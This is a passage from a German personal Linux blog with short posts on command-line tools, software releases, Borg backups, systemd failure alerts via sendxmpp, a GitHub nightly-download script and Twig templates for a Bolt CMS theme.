Linux notebook 4.13.11-1-zen #1 ZEN SMP PREEMPT Thu Nov 2 18:46:37 UTC 2017 x86_
64 GNU/Linux

Übergibt man diese Ausgabe an fold (z. B. uname -a | fold -sw 30) bekommt man folgendes angezeigt.

Linux notebook 4.13.11-1-zen 
#1 ZEN SMP PREEMPT Thu Nov 2 
18:46:37 UTC 2017 x86_64 
GNU/Linux

Das sieht doch schon schöner aus. Aber was wird hier genau gemacht? Der Parameter "w 30" gibt an, dass ein Umbruch nach 30 Zeichen erfolgen soll. Der Parameter "s" verhindert zudem dass zum Beispiel innerhalb eines Wortes umgebrochen wird. Ein Umbruch erfolgt also nur bei einem Leerzeichen.


Man pages - Too long didn't read

Manche der Man Pages sind rech lang und teilweise inhaltlich recht kompliziert. Das nervt vor allem, wenn man nur mal eben die Grundfunktionen eines Befehls nachschlagen will. Wie zum Beispiel das Entpacken eines Tar-Archives.

Hier ist das Projekt >tldr _ (was für ein Name) eine nette Idee. Unter https://tldr.ostera.io/ kann man einfach den gewünschten Befehl eingeben und erhält Beispiele für die grundlegenden Funktionen. Bei tar wird beispielsweise folgendes ausgespuckt.

Create an archive from files:
tar cf {{target.tar}} {{file1 file2 file3}}

Create a gzipped archive:
tar czf {{target.tar.gz}} {{file1 file2 file3}}

Extract an archive in a target folder:
tar xf {{source.tar}} -C {{folder}}

Extract a gzipped archive in the current directory:
tar xzf {{source.tar.gz}}

Extract a bzipped archive in the current directory:
tar xjf {{source.tar.bz2}}

Create a compressed archive, using archive suffix to determine the compression program:
tar caf {{target.tar.xz}} {{file1 file2 file3}}

List the contents of a tar file:
tar tvf {{source.tar}}

Sollte man einen Fehler finden, lassen sich die Seiten auf Github recht schnell bearbeiten. Was nach ein paar Test allerdings auffällt ist, dass hier noch viele Befehle wie whereis fehlen. Im AUR von Arch steht das ganze auch zum Installieren auf dem eigenen Rechner zur Verfügung.


OpenOffice 4.1.4 mit 30 Änderungen veröffentlicht

Die Entwickler hinter OpenOffice haben nun Version 4.1.4 veröffentlicht. Laut Bugtracker wurden 30 Änderungen vorgenommen. Die letzte Veröffentlichung ist allerdings gut ein Jahr her.

Liest man sich die Liste im Bugtracker genauer durch, findet man auch Einträge wie "Misspelling "Üerschrift"", "SV translation: "Basic" mistranslated as "grundläggande"" oder "Update the Copyright year to 2017".  Schaut man sich nun die regelmäßigen Veröffentlichungen des Forks Libreoffice an,  findet man dort in der Regel immer mehr behobene Problem bzw. neu hinzu gekommene Sachen.

Ich für meinen Teil, bin schon länger auf LibreOffice umgestiegen, habe aber OpenOffice immer noch beobachtet. Aber damit werde ich jetzt aufhören. Man sollte ein totes Pferd nicht weiter reiten. Hoffentlich kapiert das die Apache Software Foundation auch bald. Ruhe in Frieden OpenOffice.


Hackathon in Hof am 19.10.17

Wie ich gerade durch die Mailing-Liste der lokalen LUG erfahren habe, findet am 19.10.17 ab 12 Uhr ein Hackathon in der iisys Hochschule in Hof (Oberfranken) statt.

Programmpunkte sind unter anderem Webanwendungen mit LivingApps erstellen und Bewässerung von Topfpflanzen. Wer Interesse hat, findet unter https://www.livinglogic.de/hackathon/ noch ein paar (aber wirklich nur ein paar) weitere Informationen und die Möglichkeit sich anzumelden.

Kann sein, dass ich dort auch mal vorbeischaue wenn ich mich aufraffen kann nach Hof zu fahren. Liegt ja nicht gerade direkt um's Eck.


Version 1.1 des Sicherungsprogramms Borg veröffentlicht

Für sogenannte Offside-Backups nutze ich (in der Regel in Verbindung mit rsync.net) das Tool Borg. Borg legt die zu sichernden Dateien in Repositorys an und nutzt zudem auch noch Deduplikation bei der die Daten in kleine Teile zerlegt werden. Somit werden nur die geänderten Teile bei einer Datensicherung berücksichtigt.

Vor ein paar Tagen wurde nun Borg in Version 1.1 veröffentlicht. Für mich stechen besonders folgende Sachen hervor:

- Borg diff: Vergleichen von zwei Sicherungen
- Borg export tar: Sicherung als Tar-Archiv exportieren
- JSON API für die wichtigsten Sachen wie borg create, borg list usw.
- BORG_PASSCOMMAND: Nutzung von Schlüsselringen und Hardwareschlüsseln wird damit vereinfacht

Da sich bei Borg in Version 1.1 einiges getan hat, gibt es unter https://www.borgbackup.org/releases/borg-1.1.html eine Zusammenfassung der wichtigsten Punkte. 

Wer sich für Borg für ein Offside-Backup interessiert, sollte sich ggf. einmal den Dienst rsync.net ansehen. Dieser bietet für Nutzer von Attic bzw. Borg einen Sondertarif an, bei dem das GB 3 Cent im Monat kostet und man mindestens 25 GB mieten muss. Da ich dort nur meine wirklich, wirklich, wirlich wichtigen Sachen sichere komme ich somit für weniger als 8 Euro im Jahr gut zurecht und habe Dank der Deduplikation noch jede Menge Platz frei. Die Repositorys von Borg lassen sich übrigens verschlüsselt (inkl. Schlüsseldatei) anlegen so dass nur die verschlüsselten Daten hochgeladen werden. 


Firefox verwanzt jeden 100. Download

Ab nächster Woche startet Mozilla ein "Experiment". Ca. jedes 100. Downloadpaket von Firefox wird dann das Add-On Cliqz enthalten.

Mit diesem Add-On werden Vorschläge für Webseiten angezeigt wenn man etwas in die Adressleiste des Browsers eingibt. Hierfür werden die Surf-Aktivitäten der Nutzer der Nutzer an Cliqz-Server geschickt und ausgewertet. Mozilla verspricht zwar, dass sensible Daten vorher entfernt werden und keine individuelle Profile anglegt und die IP-Adressen gelöscht werden, aber dieses "Experiment" hinterlässt bei mir trotzem einen unschönen Beigeschmack.

Vor allem weil es sich hierbei nicht um Opt-in sondern um Opt-out handelt. Ich bin mir zwar nicht sicher, aber ich fürchte die betroffenenen Nutzer werden vermutlich beim Installieren der "verwanzten" Installationspakete nicht wirklich informiert.


Prüfsummen in einer PKGBUILD-Datei ändern

Ab und zu kommt es vor, dass im AUR die PKGBUILD-Datei eines Pakets nicht aktualisiert wird. Das ist derzeit beim Editor micro der Fall, da es einen unschönen Bug mit der Mausunterstützung gibt und der Paketbetreuer erst mal abwarten will. Ich will aber nicht.

Bisher bin ich in solchen Fällen immer so vorgegangen, dass ich mir erst einmal die Prüfsumme des neuen Archivs besorgt habe. Bei einigen Programmen sind die aber entweder sehr gut versteckt oder werden gar nicht erst angeboten. Bei letzterem lade ich das neue Archiv ein- oder zweimal herunter und erstelle manuell die Prüfsumme. Dann lade ich mir mit curl die PKGBUILD-Datei herunter und editiere die Zeile pkgver= und dann noch die Zeile(n) für die Prüfsumme(n). Aber das nervt. Vor allem wenn man die Prüfsummen gar nicht oder nur schwer findet.

Aber wie soll es anders sein? Hätte ich mal in das Wiki von Arch Linux geschaut... Genau für diese Änderung gibt es das Tool updpkgsums, welches bei  pacman direkt mit dabei ist. Hat man die PKGBUILD-Datei heruntergeladen und die Zeile pkgver= angepasst, muss man nur noch "updatepkgsums PKGBUILD" aufrufen. Das Tool ersetzt dann automatisch die alte gegen die neue Prüfsumme. Diese sollte man aber trotzden möglichst überprüfen. Wobei das in einigen Fällen eben nicht ganz leicht ist. Jetzt sollte man beispielsweise mittels "makepkg -i PKBUILD --noconfirm" die aktuelle Version des Programms installieren können.


Suchanfrage direkt an die eigene Searx-Installation schicken

Ich habe mir angewöhnt im Browser Suchanfragen über Kürzel zu stellen. Somit suche ich beispielsweise mit "g wayland arch linux" nach Wayland unter Arch Linux. Oder mit "ddg hamburger teespeicher" suche ich mit DuckDuckGo nach meinem bevorzugten Teehändler dem Hamburger Teespeicher. Nur meine Searx-Instanz habe ich bisher direkt aufgerufen.

Das habe ich jetzt einmal geändert und mir für meine eigene Searx-Instanz ebenfalls einen Suchmaschineneintrag erstellt. Im Grunde genommen ist es kein Hexenwerk und in unter einer Minute erledigt.

searxsuche.png

Dieses Beispiel zeigt das Hinzufügen einer Suchmaschine unter Vivaldi (ALT+P -> Suche). Unter Chrome/Chromium sollte es vermutlich gleich bzw. ähnlich aussehen. Zu anderen Browsern kann ich keine Aussage treffen.

Als URL geben wir die Adresse ein, unter der die betreffende Searx-Instanz erreichbar ist. An deren Ende fügen wir dann noch /?q=%s hinzu. Das %s ist hier ein Platzhalter für unsere Suchbegriffe. Als Kürzel habe ich mal sx genommen, da "s" bereits für Startpage vorgesehen ist. Abschließend noch schnell auf Hinzufügen klicken und fertig. Wer will, kann vorher den Eintrag als Standard setzen. Nun kann man direkt in der Adresszeile mit dem Kürzel sx eine Searx-Installation befragen.

Searx bietet auch die Möglichkeiten diverse Kategorien zu durchsuchen. Wie zum Beispiel unter anderem Nachrichten, Musik, IT oder Dateien. Nehmen wir mal an, dass man einen Eintrag für die Kategorie "Nachrichten" erstellen will. Hierzu müssen wir obigen Link einfach erweitern, so dass aus http://searx.fryboyter.de/?q=%s&categories=news wird. Anstelle von news trägt man hier einfach die gewünschte Kategorie ein. Hierzu muss man allerdings die englische Bezeichnung nutzen.

Ach ja... Der genannte Link ist nur ein Beispiel und funktioniert nicht. Wer sich die Metasuchmaschine einmal ansehen will, findet unter https://github.com/asciimoo/searx/wiki/Searx-instances eine Liste von Instanzen. Hier dürfte searx.me mit die bekannteste Adresse sein. Für die Installation einer eigenen Instanz lohnt sich ein Blick in die Anleitung von mdosch. Diese ist zwar für Uberspace gedacht, aber ich denke man hiermit auch Searx bei anderen Anbietern installieren.


Isso Comment - Über neue Kommentare informieren

Seit dem Umstieg auf Bolt CMS nutze ich für die Kommentare Isso Comment. Leider gibt es hier derzeit keine Benachrichtigung für neue Kommentare. Was wohl dem einen oder anderen Leser von fryboyter.de nervt. Zumindest habe ich in letzter Zeit E-Mails deswegen bekommen.

Da bei solch einem System das Missbrauchspotenzial recht hoch ist, müsste man auf ein Opt-In-Verfahren setzen. Da es dies bei Isso Comment aktuell nicht gibt und ich auch nicht in der Lage bin, Abhilfe zu schaffen, habe ich mir mal Workaraounds überlegt.

Es gibt zum Beispiel Dienste wie https://visualping.io/ mit denen man Webseiten auf Änderungen überwachen kann. Bei Visualping liegt der Intervall bei 1 Stunde und man muss nur eine E-Mail-Adresse angeben. Eine Registrierung ist nicht nötig. Visualping bietet für Chrome auch eine Erweiterung an.

Für Firefox (den ich nur in Ausnahmefällen nutze) gibt es wohl Erweiterungen wie Distill Web Monitor. Inwieweit diese taugen kann ich, aus genannten Gründen, nicht sagen.

Falls jemand eine bessere Idee hat, immer her damit.


Über fehlgeschlagenen Service per XMPP informieren

Auf meinen Raspberry Pi's laufen einige Dienste wie ein Q3A-Server. Diese zum Beispiel mit Zabbix zu überwachen ist mir dann doch etwas übertrieben, da diese Dienste entweder rein privat genutzt werden oder ich einfach keine Uptime garantiere.

Trotzdem wäre es dann doch interessant wenn ich darüber informiert werde wenn zum Beispiel ein Dienst nicht gestartet werden konnte. Vor allem wenn man nicht daheim ist. Da ich auf meinem Smartphone auch einen XMPP-Client installiert habe, würde sich eine Lösungen mittels XMPP und systemd anbieten.

Um die Nachrichten zu versenden habe ich mir sendxmpp installiert. Unter Arch findet man das Paket im AUR. Um zu testen ob das Versenden überhaupt funktioniert, habe ich es gleich einmal ausprobiert.

echo 'Hallo Welt' | sendxmpp -t  -u fryboyter -j jabjab.de -p 'strenggeheim' empfänger@deshalbfrei.org

Und schon knallt es und ich bekomme die Fehlermeldung "Invalid or unreadable path specified for ssl_ca_path. at /usr/share/perl5/vendor_perl/XML/Stream.pm line 641" vor den Latz geknallt. Dann schauen wir uns die Datei doch mal an. Zeile 641 verrät mir allerdings recht wenig. Allerdings gibt es in besagter Datei die Zeile $self->{SIDS}->{default}->{ssl_ca_path} = '';. An deren Ende habe ich zwischen die beiden '' einfach mal /etc/ssl/certs eingetragen.

Nächster Versuch, nächste Fehlermeldung. Error 'AuthSend': error: bad-protocol[?]. Na das ist ja mal sehr aussagekräftig. Nach etwas Google-Fu konnte ich das Problem in der Datei /usr/share/perl5/vendor_perl/Net/XMPP/Protocol.pm ausfindig machen. In Zeile 2104 steht return $ self-> AuthSASL (% args);. Diese Zeile kommentieren wir einfach mal mit einem # am Anfang aus. Ich bin mir allerdings nicht sicher, ob das nicht irgendwelche Nebenwirkungen hat.

Und wieder ein neuer Anlauf. Und plötzlich informiert mich mein XMPP-Client dass ich für empfänger@deshalbfrei.org eine Nachricht erhalten habe. Yeehaa!

Da nun die Benachrichtungen per XMPP funktionieren, erstellen wir unter /usr/bin ein Shellscript (nennen wir es mal xmpp.sh) mit folgendem Inhalt.

#!/bin/bash

UNIT=$1

UNITSTATUS=$(systemctl status $UNIT)
ALERT=$(echo -e "\u26A0")

echo "$ALERT Unit failed $UNIT $ALERT Status: $UNITSTATUS" | /usr/bin/site_perl/sendxmpp -t  -u fryboyter -j jabjab.de -p 'strenggeheim' empfänger@deshalbfrei.org

Nun erstellen wir unter /etc/systemd/system die Servicedatei xmpp@.service mit folgendem Inhalt.

[Unit]
Description=Benachrichtigung mittels XMPP
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/xmpp.sh %I

Zum Schluss editieren wir noch die Service-Dateien der Dienste die wir überwachen wollen und packen unter dem Bereich [Unit] die Zeile OnFailure=xmpp@%n.service.

Startet nun ein Service nicht erhält man automatisch eine Nachricht per XMPP die beispielsweise so aussieht.

⚠ Unit failed monitorhell.service ⚠ Status: ● monitorhell.service - Tastaturbeleuchtung automatisch aktivieren
   Loaded: loaded (/etc/systemd/system/monitorhell.service; enabled; vendor preset: disabled)
   Active: failed (Result: exit-code) since Mon 2017-09-11 16:36:13 CEST; 1min 18s ago
  Process: 510 ExecStart=/bin/bashx -c echo 2219 > /sys/class/backlight/intel_backlight/brightness (code=exited, status=203/EXEC)
 Main PID: 510 (code=exited, status=203/EXEC)

Warning: Journal has been rotated since unit was started. Log output is incomplete or unavailable.


Konversation 2.x wird das Protokoll Matrix unterstützen

Seit einiger Zeit nutze ich den Client Riot um über das Matrix Protokoll zu chatten. Dank diverser Brücken geht dies auch netzwerkübergreifend so dass man beispielsweise auch mit Leuten im IRC kommunizieren kann.

Was viele an Riot stört, ist die Tatsache, dass der Client auf Electron basiert. Heute hat Eike Hein vom KDE-Projekt einen Artikel veröffentlicht der die Entwicklung des offiziellen Messengers Konversation von Plasma in Version 2.x zum Thema hat. Neben einer verbesserten Oberfläche, einer Version für Android und diverser anderer Dinge wird nun auch an der Unterstützung des Matrix-Protokolls gearbeitet. Diese Entscheidung kann ich an dieser Stelle nur begrüßen. Mit Matrix hat man endlich die Chance sicher und protokollübergreifend zu kommunizieren. Leider wird es Konversation 2.x wohl erst 2018 geben. Aber gut Ding will Weile haben.

Wer sich für Matrix / Riot interessiert kann sich den recht aufschlussreichen Artikel von Golem durchlesen. Hierbei sollte man aber beachten, dass dieser schon ein paar Monate alt ist und die Entwicklung an mehreren Ecken schon vorangeschritten ist.


Übersetzungstool DeepL

Wenn man aktiv im Internet ist und sich zudem auch noch mit Linux beschäftigt kommt man um die englische Sprache eigentlich nicht herum. Auch wenn mein Englisch ziemlich gut ist, hakt es ab und zu an manchen Stellen. Besonders wenn es beispielsweise um gewisse Formulierungen oder speziellere Wörter geht.

Eben habe ich bei golem.de einen Bericht über DeepL gelesen. Hierbei handelt es sich um einen neuen Übersetzungsdienst welcher aktuell nur per Browser unter https://www.deepl.com/translator erreichbar ist. Apps sollen bis Ende des Jahres erscheinen. An sich ist das jetzt nicht unbedingt etwas weltbewegends. Bisher nutze ich beim Problemfällen das Angebot von Google in Kombination mit dict.cc.

Nun kommt aber das Aber. Google übersetzt häufig zwar richtig aber es fühlt sich oft "falsch" an. Irgendwie hölzern. Und genau an der Stelle hat mich DeepL erstaunt. Die Übersetzungen (Deutsch -> Englisch, Englisch -> Deutsch) waren deutlich flüssiger zu lesen. Irgendwie menschlicher. Und genau das will der Betreiber auch erreichen. Übersetzungen bei denen man es so wenig wie möglich merkt, dass diese durch eine Maschine erstellt wurden. Zum Einsatz kommt hier ein neuronales Netzwerk welches auf einem Supercomputer mit 5,1 Petaflops läuft.

Nach einigen Minuten des Testens bin ich von der Leistung sehr angetan. Allerdings fürchte ich, dass genau das ein Problem sein wird. Bin mal gespannt, wann zum Beispiel Google seine Portokasse aufmacht und DeepL schluckt.

Kommen wir abschließend noch zum leidigen Thema "was hat das jetzt mit dem OSBN zu tun?". Im Grunde nichts. Wobei auf dem Supercomputer bestimmt Linux oder etwas ähnliches läuft. Allerdings kenne ich einige Nutzer die zum Beispiel gerne Bugmeldungen bei OSS-Projekten erstellen würden, sich aufgrund der Sprachbarriere aber nicht so recht trauen. Bzw. sich zwar trauen aber diese im so einem bescheidenen Englisch abliefern, dass die Entwickler oft nur Bahnhof verstehen. Für solche Fälle ist der Dienst 1A, da hier eben flüssige Übersetzungen herauskommen. Daher denke ich, dass man hier mal wieder eine Ausnahme machen kann.


Aus QupZilla wird Falkon

Nachdem der originale Browser Opera eingestellt wurde, war ich auf der Suche nach einer Alternative. Ein Kanditat war QupZilla. Dieser wurde nun zu Falkon umbenannt.

Nachdem QupZilla nun ein offizielles KDE-Projekt geworden ist, war es Zeit für einen neuen Namen. Der Entwickler David Rosca, der laut eigener Aussage kein glückliches Händchen bei der Namengeben gezeigt hat, hat daher die Gemeinschaft um QupZilla aufgerufen Vorschläge zu machen. Gewonnen hat der Name "Falkon".

Eventuell beerbt Falkon nun auch Konqueror und wird offizieller Browser unter Plasma.


Aktuellste Programmversion per Script von Github laden

Einige Projekte auf Github bieten Nightly Builds an. Also Programmversionen die in der Regel über Nacht und automatisiert erstellt werden. Die Frage ist nur, wie kann man sich diese herunterladen wenn sich der Dateiname ändert?

Nehmen wir als Beispiel mal den Editor micro. Bei diesem Projekt werden Nightly Builds für x Architekturen angeboten. Für ARM ist zum Beispiel gerade die Datei "micro-1.3.2-10-linux-arm.tar.gz" aktuell. Morgen vielleicht "micro-1.3.2-11-linux-arm.tar.gz" oder ""micro-1.3.2-14-linux-arm.tar.gz". Hier sehe ich zwei Lösungen. Entweder man läd die Datei manuell herunter oder man automatisiert den Download. Ich bevorzuge eindeutig Möglichkeit Nummer 2. Allerdings war mal wieder die Lösung das Problem. Mittels curl, jq und wget konnte ich das Problem aber lösen. Folgendes Script ist dabei entstanden.

#!/bin/sh
arch=linux-arm
link=$(curl -s https://api.github.com/repos/zyedidia/micro/releases/tags/nightly | jq -r ".assets[] | select(.name | test(\"${arch}\")) |  .browser_download_url")
wget $link

In Zeile zwei gibt man die gewünschte Architektur an. Eine Übersicht der vorhandenen Möglichkeiten findet man unter https://github.com/zyedidia/micro/releases.

Zeile drei greift auf die API von Github zu und mittels jq wird der gewünschte Downloadlink erstellt.

Zeile 4 läd die gewünschte Datei herunter. 

Vermutlich gibt es einfachere und bessere Lösungen. Aber das obige Script funktioniert und reicht mir für den Hausgebrauch.


Global WordPress Translation Day 3

Hieronymus, welcher das Neue sowie das Alte Testament ins gesprochene Latein übersetzt hat, ist am 30.09.420 gestroben. Daher findet immer am 30.09. der internationale Übersetzertag statt. Wordpress führt dieses Jahr an diesem Tag den Global WordPress Translation Day 3 durch.

An diesem Tag dreht sich alles um die Übersetzung von Wordpress, der Themes und Plugins. Neben der Teilnahme am heimischen Rechner ist es auch möglich an Veranstaltungen in verschiedenen Städten weltweit teilzunehmen. Einen 24-Stunden-Livestream soll es ebenfalls geben.

Am 30.09.2017 um 0:00 UTC geht es offiziell los. 

Wer Interesse hat, findet unter https://de.wordpress.org/2017/08/global-wordpress-translation-day-3/ genauere Informationen zu der Aktion.


Alle Wege führen zu Arch Linux

Ein Bischen Spass muss sein. :D


Deutscher Wetterdienst stellt Wetterdaten als Open Data zur Verfügung

Der Deutsche Wetterdienst stellt zukünftig einen großen Teil der erhobenen Daten als Open Data kostenfrei zur Verfügung. Für die Nutzung ist keine Registrierung nötig. Die Daten dürfen nach den Maßgabe der Verordnung zur Festlegung der Nutzungsbestimmungen für die Bereitstellung von Geodaten des Bundes (GeoNutzV) verwendet werden.

Auch wenn ich persönlich damit wenig anfangen kann, könnte es für den einen oder anderen vermutlich durchaus von Interesse sein. Auf osbn.de gab es ja kürzlich den einen oder anderen Artikel zu ähnlichen Themen. Bin mal gespannt, ob durch die Freigabe der Daten das eine oder andere neue Projekt entsteht.


Vivaldi Snapshot - GIFs oder kein GIFs

Das Team hinter dem Browser Vivaldi hat mal wieder einen neuen Snapshot veröffentlicht. Im Grunde ist das an sich nichts neues, da Snapshots regelmäßig veröffentlicht werden. Dieser Snapshot ist allerdings eine Erwähnung wert.

Ich habe das Glück oder das Pech, dass ich auf dem einen oder anderem Forum aktiv bin, bei dem animierte GIF-Dateien leider erlaubt sind und auch genutzt werden. Diesen Firlefanz habei ich bisher per uBlock Origin komplett gefiltert. Im aktuellen Snapshot von Vivaldi gibt es nun die Möglichkeit einzustellen, was mit animierten GIF-Dateien passieren soll. Man kann dort die Animationen ganz normal in Schleife abspielen lassen oder einmalig. Oder man deaktiviert das Abspielen gleich ganz. Die Einstellungsmöglichkeiten findet man in der unteren Leiste in den Bildeinstellungen.

Wie man sieht, passt die deutsche Übersetzung noch nicht ganz.

Für die Fans der Mausgesten ist ebenfalls eine neue Konfigurationsmöglichkeit hinzu gekommen. Nun lässt sich einstellen welche Distanz man überbrücken muss, damit eine Mausgeste ausgeführt wird. Standardmäßig sind hie 5 Pixel eingestellt. Maximal sind 100 Pixel möglich.


Petition zum Erhalt von Flash - Aber sonst geht es gut?

Vor ein paar Tagen habe ich mich gefreut, dass Adobe 2020 Flash endlich zu Grabe tragen will. Und schon kommen die ersten potentiellen Nekromanten aus Ihrer Gruft gestiegen.

Der Entwickler Juha Lindstedt hat nun eine Petition gestartet in der gefordert wird, dass Flash als Open-Source-Projekt weitergeführt wird. Er begründet diese Forderung damit, dass zukünftige Generationen vorhandene Webseiten, Spiele, usw. die auf Flash basieren nicht mehr konsumieren können.

Ich habe ehrlich gesagt keine Ahnung ob Herr Lindstedt trollt, verrückt ist oder einfach nur sehr große Eier hat. Ich kann mich an kein Update erinnern bei dessen Changelog nicht der Begriff kritische Sicherheitslücke zu lesen war. Ich möchte nicht wissen was alles entdeckt wird, wenn Flash quelloffen werden würde.

Ich werde daher einen Teufel tun und diese Petition unterschreiben. Bei Flash fällt mir persönlich nur das folgende ein. Burn it with fire! Da Adobe aber jetzt nicht dafür bekannt ist, sonderlich viel unter einer OSS-Lizenz zu veröffentlichen, habe ich hier das gute Gefühl, dass die Petition keine Früchte tragen wird.


Mageia 6 wurde veröffentlicht

Wenn ich gefragt werde, mit welcher Distribution man anfangen sollte, lautet meine Antwort in der Regel nicht Ubuntu sondern Mageia. Version 6 wurde heute veröffentlicht.

Die neue Version setzt nun auf die LTS-Version 5.8 von KDE Plasma und auf den LTS-Kernel 4.9. Zum bisherigen Paketmanager urpmi hat nun DNF 2 einzug gehalten. Weiterhin wurde auf ARMv5 und ARMv7 portiert, so dass man nun Mageia z. B. auf einem Raspberry Pi installieren kann.

Eine detaillierte Zusammenfassung der Änderungen / Neuerungen findet man im offiziellen Wiki. Ein Download der Iso-Dateien ist über die offizielle Seite möglich.


Record.twig des Fryboyter-Themes

In meinem letzten Artikel habe ich die Datei index.twig meines Twig-Themes erklärt. Jetzt ist die Datei record.twig an der Reihe. Diese ist teilweise identisch mit der index.twig.

{% include '_header.twig' %}
<div class="header"><h1><a href="{{ paths.hosturl }}">Fryboyter</a></h1></div>
    <div class="container">
        <div class="row"> 
            <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <h2>{{ record.title }}</h2>
                    {% if record.taxonomy is defined %}
                        {% for type, values in record.taxonomy %}
                            <div class="article-info">Veröffentlicht am {{ record.datepublish|localdate("%d. %B %Y") }} unter:
                        {% for link, value in values %}
                            <a href="{{ link }}">{{ value }}</a>{% if not loop.last %} & {% endif %}
                        {% endfor %}
                            | <a href="{{ record.link }}#isso-thread">Comments</a>
                        {% if user.id is defined %}
                        {% if user.id == 'X' %}
                            | <a href="{{ paths.bolt }}editcontent/entries/{{ record.id }}">Bearbeiten</a>
                        {% endif %}
                        {% endif %} 
                        {% endfor %}
                    {% endif %}</div>
                    {{ record.body }}                        
                    <p>Diese Artikel könnten auch interessant sein</p>
                    <ul>{% setcontent records = "entries/random/5" allowpaging %}
                    {% for record in records %}
                    <li><a href="{{ record.link }}">{{ record.title }}</a></li>
                    {% endfor %}</ul>
                    <section>
                        <h3>Kommentare</h3>
                        <section id="isso-thread"></section>
                    </section>
        </div> 
    </div>   
</div>
<div class="footer">{% include '_footer.twig' %}</div>

Den ersten Unterschied findet man in Zeile 14 bis 18. Hier wird als erstes geprüft, ob die Variable user.id definiert ist. Wenn dies der Fall ist erfolgt die Prüfung, ob der Nutzer die Nutzer-ID X hat. Wenn ja, wird die Zeile in der das Datum der Veröffentlichung, die Kategorien sowie die Kommentare angezeigt wird um einen weiteren Link erweitert mit dem man den betreffenden Beitrag ändern kann.

Zeile 22 bis 26 erstellt eine Liste von 5 zufälligen Artikeln, die eventuell für den Leser auch interessant sein könnten und gibt deren Titel aus die auf die einzelnen Artikel verlinken. Hier werden aktuell noch Artikel kategorieübergreifend angezeigt. Geplant habe ich hier, dass nur Artikel angezeigt werden, die den gleichen Kategorien zugeordnet sind, wie der aufgerufene Artikel.

Zeile 27 bis 30 bindet die Kommentarfunktion von Isso Comment ein.


Index.twig des Fryboyter-Themes

Da ich gefragt wurde, wie ich das auf fryboyter.de verwendet Theme erstellt habe, habe ich mir gedacht ich mache mal eine Artikelreihe daraus in der ich die 9 Twig-Dateien erkläre.

Fangen wir mal mit der Datei index.twig an. Diese wird angezeigt, wenn man die Hauptseite aufruft.

{% include '_header.twig' %}
<div class="header"><h1><a href="{{ paths.hosturl }}">Fryboyter</a></h1></div>
<div class="container">
    <div class="row">
        <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
            {% setcontent records = "entries/latest/5" allowpaging %}
                {% for record in records %}
                    <h2><a href="{{ record.link }}">{{ record.title }}</a></h2>
                        {% if record.taxonomy is defined %}
                            {% for type, values in record.taxonomy %}
                            <div class="article-info">Veröffentlicht am {{ record.datepublish|localdate("%d. %B %Y") }} unter:
                            {% for link, value in values %}
                            <a href="{{ link }}">{{ value }}</a>{% if not loop.last %} & {% endif %}
                            {% endfor %}
                            | <a href="{{ record.link }}#isso-thread">Comments</a> </div>
                            {% endfor %}
                        {% endif %}
                    {{ record.body }}
                    <hr/>
                {% endfor %}
            {{ pager('', 3, '_sub_mypager.twig') }}
        </div>
    </div>
</div>
<div class="footer">{% include '_footer.twig' %}</div>
</body>
</html>

Twig bietet die Möglichkeit bestimmte Bereich einer Seite in extra Dateien auszulagern. Mittels include kann man diese dann wie im Baukasten zusammensetzen. In diesem Fall wird in Zeile 1 somit die Datei _header.twig importiert.

In Zeile 2 wird mittels path.hosturl auf die Adresse der Seite verlinkt. In dem Fall also https://fryboyter.de/. Zieht man die Seite irgendwann man auf eine andere Domain um, braucht man hier die Adresse nicht händisch ändern.

In Zeile 6 werden die letzten 5 Einträge aus der Datenbank herausgefischt. Allowpaging ermöglicht es, dass man am Ende einer Seite auf weitere Seiten mit wiederrum 5 Artikeln wechseln kann.

Ab Zeile 7 wird definiert wie jeder einzelne Artikel angezeigt wird.

In Zeile 8 wird als erstes der Titel inkl. entsprechenden Link eines Artikels ausgegeben.

Zeile 9 bis 17 ist schon etwas aufwändiger. Hier wird erst einmal geprüft ob dem betreffende Artikel Taxonomien zugeordnet wurden. Auf dieser Seite wären das die Kategorieren wie osbn oder Allgemein. Wenn dem so ist, wird unter der Zeile der Artikelüberschrift das Datum der Veröffentlichung, gefolgt von den zugeordneten Kategorien angezeigt. Die Anzeige der Kategorien erfolgt hierbei in einer Schleife, so dass zwischen den Kategorien ein & angezeigt wird. Zum Schluss wird am Ende noch die Anzahl der vorhandenen Kommentare angezeigt und auf die Kommentarfunktion verlinkt (Zeile 18).

In Zeile 21 wird dann der Haupttext des Artikels angezeigt (ich arbeite nie mit Teasern).

Zeile 24 bindet die Datei _sub_mypager.twig ein. Hiermit wird am Ende einer Seite der Umschalter angezeigt mit dem man die Seiten wechseln kann.

Abschließend wird in Zeile 28 die Datei _footer.twig importiert.


23 Jahre FreeDOS

Am 29.06.1994 hat Jim Hall im Usenet ein freies DOS im Usenet angekündigt. 23 Jahre später ist das Projekt immer noch aktiv. Anlässlich des 23. Geburtstags hat der Gründer von FreeDOS auf Opensource.com daher einen kurzen Artikel veröffentlicht.

FreeDOS hat bei mir im "Werkzeugkasten" immer noch einen festen Platz. Auf Rechnern ohne Windows kann man somit wenigstens die Bios- bzw. UEFI-Updates einspielen, wenn Hersteller X mal wieder keine bootbare Iso-Datei anbietet. Oder die Exe-Datei sogar so absichert, dass man diese nicht mal eben entpacken kann um sich eine eigene Lösung zu bauen.

Für manche Unternehmen ist FreeDOS zudem auch noch ein Segen, da so steinalte aber funktionierende Maschinen bzw. Programme die ursprünglich mit MS DOS liefen noch weiter genutzt werden können.

Bin mal gespannt, ob FreeDOS noch weitere 23 Jahre durchhält.


Nachbesserungen an Bolt CMS

Eigentlich war es mir schon klar, dass der Umstieg nicht so klappt wie erhofft. Bisher sind es aber nur ein paar Kleinigkeiten die schnell behoben werden konnten.

Zum einen stand in der PHP-Datei die den OSBN-Feed erstellt noch die Testdomain auf der ich die ganze Zeit an Bolt gebastelt habe. Somit hat gestern der Artikel von mir auf osbn nicht auf fryboyter.de sondern planetlinux.de verlinkt. Mea culpa. Hier habe ich zum einen die PHP-Datei geändert und zum anderen eine 301-Weiterleitung per .htaccess eingerichtet.

Das zweite Problem war mir anfangs nicht ganz klar. Ein Leser von fryboyter.de hat mir mitgeteilt, dass er keine Artikel direkt aufrufen kann, sondern nur die Hauptseite. Schnell bin ich auf die Fehlermeldung "Impossible to access an attribute ("id") on a null variable" gestoßen die sich auf die Datei record.twig bezieht die für die Anzeige einzelner Artikel zuständig ist. Dort gibt es unter anderem folgenden Code.

{% if user.id == 'X' %}
    | <a href="{{ paths.bolt }}editcontent/entries/{{ record.id }}">Bearbeiten</a>
{% endif %}

